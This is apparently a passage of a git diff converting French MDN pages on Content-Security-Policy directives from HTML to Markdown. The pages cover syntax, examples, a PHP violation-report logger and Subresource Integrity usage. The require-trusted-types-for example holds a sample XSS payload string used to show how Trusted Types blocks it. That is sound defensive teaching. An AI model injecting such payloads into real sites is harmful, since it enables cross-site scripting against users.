Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les ressources
- -

Syntaxe

- -

Un ou plusieurs types MIME peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: plugin-types <type>/<subtype>;
-Content-Security-Policy: plugin-types <type>/<subtype> <type>/<subtype>;
-
- -
-
<type>/<subtype>
-
Un type MIME valide.
-
- -

Exemples

- -

Interdire les greffons

- -

Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à 'none'. La directive plugin-types n'est utilisée que si vous autorisez au préalable les greffons avec object-src.

- -
<meta http-equiv="Content-Security-Policy" content="object-src 'none'">
- -

Autoriser le contenu Flash

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: plugin-types application/x-shockwave-flash
- -

Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) :

- -
<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
- -

Autoriser les applets Java

- -

Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur application/x-java-applet :

- -
Content-Security-Policy: plugin-types application/x-java-applet
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/plugin-types/index.md b/files/fr/web/http/headers/content-security-policy/plugin-types/index.md new file mode 100644 index 0000000000..188eccaf9e --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/plugin-types/index.md @@ -0,0 +1,119 @@ +--- +title: 'CSP: plugin-types' +slug: Web/HTTP/Headers/Content-Security-Policy/plugin-types +tags: + - CSP + - Content-Security-Policy + - Directive + - Flash + - Greffon + - HTTP + - Java + - Plugin + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/plugin-types +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) plugin-types restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées.

+ +

L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si :

+ + + + + + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les ressources
+ +

Syntaxe

+ +

Un ou plusieurs types MIME peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: plugin-types <type>/<subtype>;
+Content-Security-Policy: plugin-types <type>/<subtype> <type>/<subtype>;
+
+ +
+
<type>/<subtype>
+
Un type MIME valide.
+
+ +

Exemples

+ +

Interdire les greffons

+ +

Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à 'none'. La directive plugin-types n'est utilisée que si vous autorisez au préalable les greffons avec object-src.

+ +
<meta http-equiv="Content-Security-Policy" content="object-src 'none'">
+ +

Autoriser le contenu Flash

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: plugin-types application/x-shockwave-flash
+ +

Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) :

+ +
<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
+ +

Autoriser les applets Java

+ +

Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur application/x-java-applet :

+ +
Content-Security-Policy: plugin-types application/x-java-applet
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html deleted file mode 100644 index 62abcf4068..0000000000 --- a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'CSP: prefetch-src' -slug: Web/HTTP/Headers/Content-Security-Policy/prefetch-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - prefetch-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/prefetch-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) prefetch-src spécifie les ressources pouvant être préchargées ou préaffichées.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: prefetch-src <source>;
-Content-Security-Policy: prefetch-src <source> <source>;
-
- -

Sources

- -

{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}

- -

Exemple

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: prefetch-src https://example.com/
-
- -

Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive prefetch-src :

- -
<link rel="prefetch" src="https://example.org/"></link>
-<link rel="prerender" src="https://example.org/"></link>
- -

Spécification

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md new file mode 100644 index 0000000000..62abcf4068 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.md @@ -0,0 +1,88 @@ +--- +title: 'CSP: prefetch-src' +slug: Web/HTTP/Headers/Content-Security-Policy/prefetch-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - prefetch-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/prefetch-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) prefetch-src spécifie les ressources pouvant être préchargées ou préaffichées.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: prefetch-src <source>;
+Content-Security-Policy: prefetch-src <source> <source>;
+
+ +

Sources

+ +

{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}

+ +

Exemple

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: prefetch-src https://example.com/
+
+ +

Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive prefetch-src :

+ +
<link rel="prefetch" src="https://example.org/"></link>
+<link rel="prerender" src="https://example.org/"></link>
+ +

Spécification

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#prefetch-src", "prefetch-src")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.prefetch-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/referrer/index.html b/files/fr/web/http/headers/content-security-policy/referrer/index.html deleted file mode 100644 index ee12abb78d..0000000000 --- a/files/fr/web/http/headers/content-security-policy/referrer/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'CSP: referrer' -slug: Web/HTTP/Headers/Content-Security-Policy/referrer -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Obsolete - - Reference - - Security - - Sécurité - - referrer -translation_of: Web/HTTP/Headers/Content-Security-Policy/referrer ---- -
{{HTTPSidebar}} {{deprecated_header}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) referrer spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs.

- -
-

Note : Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}.

-
- -

Syntaxe

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: referrer <referrer-policy>;
- -

Où <referrer-policy> peut être une valeur parmi :

- -
-
"no-referrer"
-
L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes.
-
"none-when-downgrade"
-
C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP).
-
"origin"
-
Envoie l'origine du document comme référent dans tous les cas.
- Le document https://example.com/page.html enverra https://example.com/ comme référent.
-
"origin-when-cross-origin" / "origin-when-crossorigin"
-
Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas.
-
"unsafe-url"
-
Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration.
-
- -

Exemples

- -
Content-Security-Policy: referrer "none";
- -

Spécifications

- -

Cette fonctionnalité ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.referrer")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/referrer/index.md b/files/fr/web/http/headers/content-security-policy/referrer/index.md new file mode 100644 index 0000000000..ee12abb78d --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/referrer/index.md @@ -0,0 +1,64 @@ +--- +title: 'CSP: referrer' +slug: Web/HTTP/Headers/Content-Security-Policy/referrer +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Obsolete + - Reference + - Security + - Sécurité + - referrer +translation_of: Web/HTTP/Headers/Content-Security-Policy/referrer +--- +
{{HTTPSidebar}} {{deprecated_header}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) referrer spécifie des informations dans l'en-tête HTTP {{HTTPHeader("Referer")}} (avec un seul r) pour les liens externes d'une page. Cette API est dépréciée et supprimée des navigateurs.

+ +
+

Note : Utilisez plutôt l'en-tête HTTP {{HTTPHeader("Referrer-Policy")}}.

+
+ +

Syntaxe

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: referrer <referrer-policy>;
+ +

Où <referrer-policy> peut être une valeur parmi :

+ +
+
"no-referrer"
+
L'en-tête HTTP {{HTTPHeader("Referer")}} sera omise. Aucune information de référent ne sera envoyée avec les requêtes.
+
"none-when-downgrade"
+
C'est le comportement par défaut des agents d'utilisateur si la directive n'est pas spécifiée. L'origine est envoyée comme référent pour une destination a priori aussi bien sécurisée (HTTP vers HTTP ou HTTPS vers HTTPS), mais n'est pas envoyée vers une destination qui l'est moins (HTTPS vers HTTP).
+
"origin"
+
Envoie l'origine du document comme référent dans tous les cas.
+ Le document https://example.com/page.html enverra https://example.com/ comme référent.
+
"origin-when-cross-origin" / "origin-when-crossorigin"
+
Envoie une URL complète pour les requêtes vers la même origine, mais seulement l'origin du document dans les autres cas.
+
"unsafe-url"
+
Envoie une URL complète (excepté ses paramètres) lors de réalisation d'une requête vers la même origine ou une autre origine. Cette règle divulguera les origines et adresses des ressources protégées par TLS à des origines non sécurisées. Considérez avec précaution les conséquences de cette configuration.
+
+ +

Exemples

+ +
Content-Security-Policy: referrer "none";
+ +

Spécifications

+ +

Cette fonctionnalité ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.referrer")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/report-to/index.html b/files/fr/web/http/headers/content-security-policy/report-to/index.html deleted file mode 100644 index 3011486ccb..0000000000 --- a/files/fr/web/http/headers/content-security-policy/report-to/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'CSP: report-to' -slug: Web/HTTP/Headers/Content-Security-Policy/report-to -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reporting - - Security - - Sécurité - - report-to -translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To.

- -
Content-Security-Policy: ...; report-to groupname
-
- -

Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.

- - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Reporting directive")}}
This directive is not supported in the {{HTMLElement("meta")}} element.
- -

Syntaxe

- -
Content-Security-Policy: report-to <json-field-value>;
- -

Exemples

- -

Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.

- -
Report-To: { "group": "csp-endpoint",
-             "max_age": 10886400,
-             "endpoints": [
-               { "url": "https://example.com/csp-reports" }
-             ] },
-           { "group": "hpkp-endpoint",
-             "max_age": 10886400,
-             "endpoints": [
-               { "url": "https://example.com/hpkp-reports" }
-             ] }
-Content-Security-Policy: ...; report-to csp-endpoint
-
- -
Report-To: { "group": "endpoint-1",
-             "max_age": 10886400,
-             "endpoints": [
-               { "url": "https://example.com/reports" },
-               { "url": "https://backup.com/reports" }
-             ] }
-
-Content-Security-Policy: ...; report-to endpoint-1
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.report-to")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/report-to/index.md b/files/fr/web/http/headers/content-security-policy/report-to/index.md new file mode 100644 index 0000000000..3011486ccb --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/report-to/index.md @@ -0,0 +1,79 @@ +--- +title: 'CSP: report-to' +slug: Web/HTTP/Headers/Content-Security-Policy/report-to +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reporting + - Security + - Sécurité + - report-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To.

+ +
Content-Security-Policy: ...; report-to groupname
+
+ +

Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.

+ + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Reporting directive")}}
This directive is not supported in the {{HTMLElement("meta")}} element.
+ +

Syntaxe

+ +
Content-Security-Policy: report-to <json-field-value>;
+ +

Exemples

+ +

Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.

+ +
Report-To: { "group": "csp-endpoint",
+             "max_age": 10886400,
+             "endpoints": [
+               { "url": "https://example.com/csp-reports" }
+             ] },
+           { "group": "hpkp-endpoint",
+             "max_age": 10886400,
+             "endpoints": [
+               { "url": "https://example.com/hpkp-reports" }
+             ] }
+Content-Security-Policy: ...; report-to csp-endpoint
+
+ +
Report-To: { "group": "endpoint-1",
+             "max_age": 10886400,
+             "endpoints": [
+               { "url": "https://example.com/reports" },
+               { "url": "https://backup.com/reports" }
+             ] }
+
+Content-Security-Policy: ...; report-to endpoint-1
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.report-to")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/report-uri/index.html b/files/fr/web/http/headers/content-security-policy/report-uri/index.html deleted file mode 100644 index 18ea9daf71..0000000000 --- a/files/fr/web/http/headers/content-security-policy/report-uri/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: 'CSP: report-uri' -slug: Web/HTTP/Headers/Content-Security-Policy/report-uri -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Sécurité -translation_of: Web/HTTP/Headers/Content-Security-Policy/report-uri ---- -
{{HTTPSidebar}}{{deprecated_header}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) report-uri demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie.

- -
-

Attention : Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive report-uri maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives report-uri et {{CSP("report-to")}}:

- -
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
- -

Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive report-uri sera ignorée.

-
- -

Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.

- - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Reporting directive")}}
Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}}.
- -

Syntaxe

- -
Content-Security-Policy: report-uri <uri>;
-Content-Security-Policy: report-uri <uri> <uri>;
- -
-
<uri>
-
Une URI où envoyer la requête POST contenant le rapport de violation.
-
- -

Exemples

- -

Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.

- -
Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
- -

/csp-violation-report-endpoint/ pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur :

- -
<?php
-
-// Start configure
-$log_file = dirname(__FILE__) . '/csp-violations.log';
-$log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added
-$email_address = 'admin@example.com';
-$email_subject = 'Content-Security-Policy violation';
-// End configuration
-
-$current_domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
-$email_subject = $email_subject . ' on ' . $current_domain;
-
-http_response_code(204); // HTTP 204 No Content
-
-$json_data = file_get_contents('php://input');
-
-// We pretty print the JSON before adding it to the log file
-if ($json_data = json_decode($json_data)) {
-  $json_data = json_encode($json_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
-
-  if (!file_exists($log_file)) {
-    // Send an email
-    $message = "The following Content-Security-Policy violation occurred on " .
-      $current_domain . ":\n\n" .
-      $json_data .
-      "\n\nFurther CPS violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" .
-      $log_file;
-    mail($email_address, $email_subject, $message,
-         'Content-Type: text/plain;charset=utf-8');
-  } else if (filesize($log_file) > $log_file_size_limit) {
-    exit(0);
-  }
-
-  file_put_contents($log_file, $json_data, FILE_APPEND | LOCK_EX);
-}
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-report-uri", "report-uri")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-report-uri", "report-uri")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/report-uri/index.md b/files/fr/web/http/headers/content-security-policy/report-uri/index.md new file mode 100644 index 0000000000..18ea9daf71 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/report-uri/index.md @@ -0,0 +1,131 @@ +--- +title: 'CSP: report-uri' +slug: Web/HTTP/Headers/Content-Security-Policy/report-uri +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-uri +--- +
{{HTTPSidebar}}{{deprecated_header}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) report-uri demande à l'agent utilisateur de rapporter les violations de règles CSP. Ces rapports de violation sont constituées d'un document JSON envoyé via une requête HTTP POST à l'URI fournie.

+ +
+

Attention : Bien que la directive {{CSP("report-to")}} est prévue remplacer la directive report-uri maintenant dépréciée, {{CSP("report-to")}} n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront {{CSP("report-to")}}, vous pouvez spécifier les deux directives report-uri et {{CSP("report-to")}}:

+ +
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
+ +

Dans les navigateurs qui supportent {{CSP("report-to")}}, la directive report-uri sera ignorée.

+
+ +

Cette directive n'a aucun effet en elle-même, mais prend tout son sens en étant combinée à d'autres directives.

+ + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Reporting directive")}}
Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}}.
+ +

Syntaxe

+ +
Content-Security-Policy: report-uri <uri>;
+Content-Security-Policy: report-uri <uri> <uri>;
+ +
+
<uri>
+
Une URI où envoyer la requête POST contenant le rapport de violation.
+
+ +

Exemples

+ +

Voir {{HTTPHeader("Content-Security-Policy-Report-Only")}} pour plus d'informations et d'exemples.

+ +
Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
+ +

/csp-violation-report-endpoint/ pourrait par exemple exécuter un script PHP similaire au suivant qui journaliserait le JSON détaillant la violation et, si elle est la première ajoutée au journal, enverrait un courril à l'administrateur :

+ +
<?php
+
+// Start configure
+$log_file = dirname(__FILE__) . '/csp-violations.log';
+$log_file_size_limit = 1000000; // bytes - once exceeded no further entries are added
+$email_address = 'admin@example.com';
+$email_subject = 'Content-Security-Policy violation';
+// End configuration
+
+$current_domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
+$email_subject = $email_subject . ' on ' . $current_domain;
+
+http_response_code(204); // HTTP 204 No Content
+
+$json_data = file_get_contents('php://input');
+
+// We pretty print the JSON before adding it to the log file
+if ($json_data = json_decode($json_data)) {
+  $json_data = json_encode($json_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
+
+  if (!file_exists($log_file)) {
+    // Send an email
+    $message = "The following Content-Security-Policy violation occurred on " .
+      $current_domain . ":\n\n" .
+      $json_data .
+      "\n\nFurther CPS violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" .
+      $log_file;
+    mail($email_address, $email_subject, $message,
+         'Content-Type: text/plain;charset=utf-8');
+  } else if (filesize($log_file) > $log_file_size_limit) {
+    exit(0);
+  }
+
+  file_put_contents($log_file, $json_data, FILE_APPEND | LOCK_EX);
+}
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-report-uri", "report-uri")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-report-uri", "report-uri")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html deleted file mode 100644 index f78c78e47f..0000000000 --- a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 'CSP: require-sri-for' -slug: Web/HTTP/Headers/Content-Security-Policy/require-sri-for -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Subresource Integrity - - Sécurité - - require-sri-for -translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for ---- -
{{Obsolete_header}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} require-sri-for informe l'agent utilisateur de requérir la vérification d'intégrité des sous-ressources pour les scripts et styles de la page.

- -

Syntaxe

- -
Content-Security-Policy: require-sri-for script;
-Content-Security-Policy: require-sri-for style;
-Content-Security-Policy: require-sri-for script style;
-
- -
-
script
-
Requiert {{Glossary("SRI")}} pour les scripts.
-
style
-
Requiert {{Glossary("SRI")}} pour les feuilles de styles.
-
script style
-
Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles.
-
- -

Exemples

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: require-sri-for script style
- -

Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut integrity valide.

- -
<script src="https://code.jquery.com/jquery-3.1.1.slim.js"
-        integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA="
-        crossorigin="anonymous"></script>
- -

Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :

- -
<script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script>
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md new file mode 100644 index 0000000000..f78c78e47f --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.md @@ -0,0 +1,61 @@ +--- +title: 'CSP: require-sri-for' +slug: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Subresource Integrity + - Sécurité + - require-sri-for +translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +--- +
{{Obsolete_header}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} require-sri-for informe l'agent utilisateur de requérir la vérification d'intégrité des sous-ressources pour les scripts et styles de la page.

+ +

Syntaxe

+ +
Content-Security-Policy: require-sri-for script;
+Content-Security-Policy: require-sri-for style;
+Content-Security-Policy: require-sri-for script style;
+
+ +
+
script
+
Requiert {{Glossary("SRI")}} pour les scripts.
+
style
+
Requiert {{Glossary("SRI")}} pour les feuilles de styles.
+
script style
+
Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles.
+
+ +

Exemples

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: require-sri-for script style
+ +

Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut integrity valide.

+ +
<script src="https://code.jquery.com/jquery-3.1.1.slim.js"
+        integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA="
+        crossorigin="anonymous"></script>
+ +

Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :

+ +
<script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script>
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html deleted file mode 100644 index fea32fdcd9..0000000000 --- a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'CSP: require-trusted-types-for' -slug: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Security - - Sécurité - - TrustedTypes - - require-trusted-types-for - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) require-trusted-types-for {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur Element.innerHTML.

- -

Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive trusted-types, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.

- -

Syntaxe

- -
Content-Security-Policy: require-trusted-types-for 'script';
-
- -
-
'script'
-
Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.
-
- -

Exemples

- -
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo;
-
-const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />';
-const el = document.createElement('div');
-
-if (typeof trustedTypes !== 'undefined') {
-  // Create a policy that can create TrustedHTML values
-  // after sanitizing the input strings with DOMPurify library.
-  const sanitizer = trustedTypes.createPolicy('foo', {
-    createHTML: (input) => DOMPurify.sanitize(input)
-  });
-
-  el.innerHTML = sanitizer.createHTML(attackerInput);  // Puts the sanitized value into the DOM.
-  el.innerHTML = attackerInput;                        // Rejects a string value; throws a TypeError.
-}
-
- -

Prothèse d'émulaiton

- -

